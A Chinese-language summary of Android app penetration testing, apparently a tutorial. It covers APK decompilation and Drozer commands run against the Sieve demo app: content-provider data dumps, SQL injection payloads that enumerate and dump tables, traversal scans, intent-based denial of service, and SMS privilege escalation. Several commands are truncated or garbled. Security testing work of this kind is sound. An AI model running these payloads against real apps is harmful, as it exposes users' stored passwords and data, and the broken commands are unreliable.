AndroidAPP渗透测试---总结
1、apk反编译得到源代码
使⽤编译软件 dex2gar 和 jdgui.jar 对Android APP软件进⾏反编译。具体步骤如下:
(1)⾸先将APK⽂件后缀改为zip并解压,得到其中的classes.dex,它就是java⽂件编译再通过dx⼯具打包⽽成的,将classes.dex复制到dex2jar.bat所在⽬录dex2jar⽂件
夹。
(2)在命令⾏下定位到dex2jar.bat所在⽬录,运⾏dex2jar.bat  classes.dex,⽣成classes_dex2jar.jar
⾸先将要编译的apk⽂件后缀修改成 .zip 解压之后得到  classes.dex ⽂件,将该⽂件下使⽤ dex2jar.bat⽂件编译成  . ⽣成 classes-dex2jar.jar 将⽣成的该⽂件导⼊ jdgui.jar 这
样我们就可以看到APP的源码了
代码审计部分基本从这部分开始。
对APP的渗透测试我们需要APP的渗透⿊框架来完成。我这⾥使⽤的渗透框架是 Drozer  使⽤的系统是 An
droL 4b
2、Drozer渗透测试框架
Drozer 有Window版本和 linux版本(虚拟机),我这⾥使⽤的是虚拟机  AndroL 4b
如何安装虚拟机中的环境这个⽹上有完整的介绍。这⾥不再写。
(1)启动
连接到虚拟机:  adb connect 127.0.0.1:5554 (如果没有使⽤虚拟机可以不⽤这步)
PC上使⽤adb⼯具进⾏端⼝转发,转发数据到 Drozer 使⽤的端⼝ 31415
adb forward tcp:31415  tcp:31415
开启 embedded server-enable
drozer console connect
安装要测试的APP软件到模拟器上,安装⽅法使⽤ adb install app.apk
安装完成呢之后在模拟器丧看到APP已经安装成功
⾸先我们在 Drozer框架下对被测试的APP进⾏信息的收集      run app.package.list
这⾥我以公开组件漏洞为例⼦,进⾏说明安全审计⽅法:
组件 Content Provider配置错误会导致数据泄露。content Provider 以表格的形式把数据展现给外部的应⽤,每个 Content Provider都对应⼀个 “ Content://” 开头的特定的
URL,任何应⽤都可以通过这个URL操作 Content Provider应⽤的数据库。如果有的应⽤对权限控制不当会导致信息泄露的问题。
进⼀步使⽤ Mercury 获取各个URL的数据
安全渗透测试完成的APP我们如何进⾏卸载了?使⽤ adb  uninstall  <.packagename > 之前必须切换到 adb shell  ,之后才可以卸载。
在渗透测试的时候借助其他⼯具像burp Suite、  SDK manage、Wireshark等⼯具对模拟器上的APP进⾏数据包抓包拦截,以及流量的分析。
具体的安全检查点可以对照下⾯的操作去检查。
1.获取包名
  dz> run app.package.list -f sieve
  ample.sieve
  2.获取应⽤的基本信息
  run app.package.info -a ample.sieve
  3.确定攻击⾯
  run app.package.attacksurface ample.sieve
  4.Activity
  (1)获取activity信息
  run app.activity.info -a ample.sieve
  (2)启动activity
  run app.activity.start --component ample.sieve
  dz> help app.activity.start
  usage: run app.activity.start [-h] [--action ACTION] [--category CATEGORY]
  [--component PACKAGE COMPONENT] [--data-uri DATA_URI]
  [--extra TYPE KEY VALUE] [--flags FLAGS [FLAGS ...]]
  [--mimetype MIMETYPE]
  5.Content Provider
  (1)获取Content Provider信息
  run app.provider.info -a ample.sieve
  (2)Content Providers(数据泄露)
  先获取所有可以访问的Uri:
  run scanner.provider.finduris -a ample.sieve
  获取各个Uri的数据:
  run app.provider.query
android软件  content://ample.sieve.DBContentProvider/Passwords/ --vertical
  查询到数据说明存在漏洞
  (3)Content Providers(SQL注⼊)
  run app.provider.query content://ample.sieve.DBContentProvider/Passwords/ --projection "'"
  run app.provider.query content://ample.sieve.DBContentProvider/Passwords/ --selection "'"
  报错则说明存在SQL注⼊。
  列出所有表:
  run app.provider.query content://ample.sieve.DBContentProvider/Passwords/ --projection "* FROM SQLITE_MASTER WHERE type='table';--"
  获取某个表(如Key)中的数据:
  run app.provider.query content://ample.sieve.DBContentProvider/Passwords/ --projection "* FROM Key;--"
  (4)同时检测SQL注⼊和⽬录遍历
  run scanner.provider.injection -a ample.sieve
  run aversal -a ample.sieve
  6 intent组件触发(拒绝服务、权限提升)
  利⽤intent对组件的触发⼀般有两类漏洞,⼀类是拒绝服务,⼀类的权限提升。拒绝服务危害性⽐较低,更多的只是影响应⽤服务质量;⽽权限提升将使得没有该权限的应⽤可以通过intent触发拥有该权限的应⽤,从⽽帮助其完成越权⾏为。
  1.查看暴露的⼴播组件信息:
  run app.broadcast.info -a com.package.name  获取broadcast receivers信息
  run app.broadcast.send --component 包名 --action android.intent.action.XXX
  2.尝试拒绝服务攻击检测,向⼴播组件发送不完整intent(空action或空extras):
  run app.broadcast.send 通过intent发送broadcast receiver
  (1)  空action
  run app.broadcast.send --component 包名 ReceiverName
  run app.broadcast.send --component 包名 ReceiverName
  (2)  空extras
  run app.broadcast.send --action android.intent.action.XXX
  3.尝试权限提升
  权限提升其实和拒绝服务很类似,只不过⽬的变成构造更为完整、更能满⾜程序逻辑的intent。由于act
ivity⼀般多于⽤户交互有关,所以基于intent的权限提升更多针对broadcast receiver和service。与drozer相关的权限提升⼯具,可以参考Inten   (1)获取service详情
  run app.service.info -a ample.sieve
  不使⽤drozer启动service
  am startservice –n 包名/service名
  (2)权限提升
  run app.service.start --st.vulnerability.SEND_SMS --extra string dest 11111 --extra string text 1111 --extra string OP SEND_SMS
  7.⽂件操作
  列出指定⽂件路径⾥全局可写/可读的⽂件
  run scanner.misc.writablefiles --privileged /data/data/com.sina.weibo
  run adablefiles --privileged /data/data/com.sina.weibo
  run app.broadcast.send --component 包名 --action android.intent.action.XXX
  8.其它模块
  shell.start 在设备上开启⼀个交互shell
  tools.file.upload / tools.file.download 上传/下载⽂件到设备
  tools.setup.busybox / tools.setup.minimalsu 安装可⽤的⼆进制⽂件